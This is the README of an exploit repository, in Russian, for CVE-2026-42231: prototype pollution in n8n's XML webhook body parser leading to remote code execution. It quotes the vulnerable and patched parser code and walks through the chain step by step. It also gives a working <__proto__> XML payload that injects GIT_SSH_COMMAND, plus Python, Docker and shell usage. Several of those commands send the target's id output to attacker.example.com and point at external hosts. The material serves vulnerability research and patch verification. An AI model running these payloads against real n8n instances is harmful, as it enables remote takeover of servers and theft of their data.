
Доказательство концепции эксплуатации для CVE-2026-42231 — критической уязвимости загрязнения прототипа в XML-вебхуках n8n, приводящей к удалённому выполнению кода. Включает Docker-лабораторию, PoC на Python и верификатор на Node.js.
CVE: CVE-2026-42231
Серьёзность: Критическая (CVSS 10.0)
Затронуты: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Исправлено в: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts создаёт синглтон
xml2js Parser на уровне модуля без tagNameProcessors или
attrNameProcessors. Это позволяет атакующему отправить XML-тело вебхука,
содержащее элемент <__proto__>.
xml2js 0.6.2 использует Object.defineProperty с дескриптором данных для
установки ключей элементов на разобранных объектах. Поскольку всегда
возвращает , оборачивает значение в массив и сохраняет его как
— обходя аксессор , который
обычно безопасно обновляет цепочку прототипов.
'__proto__' in objtrueassignOrPush()[[Set]]Собственное свойство __proto__ переживает JSON.stringify (выполняемый, когда n8n
сохраняет данные выполнения в SQLite/PostgreSQL), а после JSON.parse при
перезагрузке последующий Object.assign(target, reloadedBody) перенаправляет
прототип target на объект, контролируемый атакующим.
В рабочих процессах, которые также содержат узел Git, выполняющий SSH-операцию,
загрязнённый прототип раскрывает значение spawnOptions / GIT_SSH_COMMAND
для simple-git's createInstanceConfig, обеспечивая выполнение команд на уровне ОС.
// packages/cli/src/middlewares/body-parser.ts (УЯЗВИМО — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // приводит теги к нижнему регистру — но НЕ блокирует __proto__
explicitArray: false,
// ← НЕТ tagNameProcessors
// ← НЕТ attrNameProcessors
});
Исправление (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. Атакующий отправляет XML POST на публичный триггер Webhook:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. Парсер тела xml2js создаёт req.body.root, где '__proto__' — это
СОБСТВЕННОЕ ПЕРЕЧИСЛЯЕМОЕ СВОЙСТВО ДАННЫХ:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. deepCopy() в n8n перебирает собственные ключи через for...in + hasOwnProp.
Присваивание clone['__proto__'] = deepCopy(attackerArray)
молча заменяет прототип clone через аксессор [[Set]].
4. n8n сериализует данные выполнения в БД:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
Ключ __proto__ включается, потому что он собственный и перечисляемый.
Подтверждено в таблице execution_data в SQLite.
5. При перезагрузке JSON.parse воссоздаёт '__proto__' как собственное свойство
данных (обычный объект, без обёртки массива).
Object.assign(gitOptions, reloadedBody)
перенаправляет прототип gitOptions на объект, контролируемый атакующим.
6. Когда узел Git вызывает simpleGit(gitOptions):
createInstanceConfig(gitOptions)
читает config.spawnOptions через цепочку прототипов → истинно →
регистрируется spawnOptionsPlugin.
С GIT_SSH_COMMAND в объекте env git выполняет команду атакующего
при следующей SSH-операции.
normalizeTagsnormalizeTags: true приводит все имена XML-тегов к нижнему регистру, поэтому дочерние элементы
например <GIT_SSH_COMMAND> становятся git_ssh_command в разобранном объекте.
Чтобы сохранить регистр для имён переменных окружения, используйте XML-атрибуты
(имена атрибутов не нормализуются normalizeTags):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
Эта команда загружает n8nio/n8n:1.123.22 (последняя затронутая версия), собирает
образ атакующего, запускает уязвимую цель на http://localhost:5678,
автоматически создаёт и активирует рабочий процесс вебхука и сохраняет
URL вебхука в .webhook_state.
./exploit.sh setup
Ожидаемый вывод (сокращён):
[*] Загрузка уязвимого образа n8n (1.123.22) ...
[*] Сборка образа атакующего ...
[*] Запуск уязвимой цели n8n ...
[*] Ожидание готовности n8n ...
[*] Создание рабочего процесса вебхука (Webhook → узел Code) ...
[+] Лаборатория готова.
Запустите: ./exploit.sh demo # проверка примитива загрязнения
./exploit.sh exploit # доставка всех трёх RCE-пейлоадов
./exploit.sh demo
PoC отправляет проверочный пейлоад и показывает разобранное тело, возвращённое из рабочего процесса n8n. Уязвимый экземпляр возвращает:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# или с пользовательской командой:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
Доставляются три дополняющих пейлоада:
| Пейлоад | Техника |
|---|---|
| A | Тег <__proto__> — GIT_SSH_COMMAND как XML-атрибут |
| B | Цепочка <constructor><prototype> |
| C | Вложенный <__proto__> с атрибутами env |
GIT_SSH_COMMAND, если RCE сработал."step4_objectAssignPolluted": true, подтверждающее цепочку.pip install -r requirements.txt
# Только проверка — узел Git не требуется:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--demo
# Полная эксплуатация — требуется рабочий процесс Webhook + Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <webhook-path> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
В некоторых развёртываниях n8n регистрирует вебхук как
/webhook/<workflowId>/webhook/<path>. Если короткая форма
/webhook/<path> возвращает 404, передайте префикс ID рабочего процесса как --target:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/<workflowId>" \
--webhook-id <path> \
--demo
Воспроизводит точную конфигурацию парсера xml2js, используемую n8n, и проходит все четыре этапа цепочки:
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
Ожидаемый вывод на уязвимой конфигурации:
[ШАГ 1] УЯЗВИМО — '__proto__' является собственным перечисляемым свойством данных
descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
enumerable: true, writable: true, configurable: true }
[ШАГ 1] Исправленный парсер переименовал __proto__ в sanitized___proto__
[ШАГ 2] Прототип deepCopy изменён → clone proto[1].polluted = "CONFIRMED"
[ШАГ 3] После JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ] Если target используется как конфигурация simpleGit И прототип раскрывает
например { spawnOptions: { shell: true } }, git будет запущен через оболочку
[ШАГ 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (найдено через цепочку прототипов)
[ RCE ] simpleGit вызовет: spawnOptionsPlugin(config.spawnOptions)
══ РЕЗУЛЬТАТ: Экземпляр использует УЯЗВИМУЮ конфигурацию xml2js (без sanitizeXmlName) ══
# Сборка образа атакующего
docker build -t n8n-proto-pollution-poc .
# Режим demo (подключение к общей сети лаборатории)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--demo
# Полная эксплуатация
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/<workflowId> \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# Против внешней цели (флаг сети не нужен)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id <path> \
--demo
./exploit.sh clean
Останавливает контейнеры и удаляет тома (включая базу данных SQLite).
| Файл | Описание |
|---|---|
poc_GHSA-q5f4-99jv-pgg5.py | Автономный Python HTTP PoC — три варианта XML-пейлоада, режимы --demo и --cmd |
verify_GHSA-q5f4-99jv-pgg5.js | Локальный верификатор цепочки на Node.js — проходит все 4 этапа эксплуатации без живого экземпляра |
Dockerfile | Образ контейнера атакующего |
docker-compose.yml | Полная лаборатория: уязвимый n8n + контейнер атакующего |
exploit.sh | Вспомогательный скрипт для настройки, demo, эксплуатации и очистки |
requirements.txt | Зависимости Python |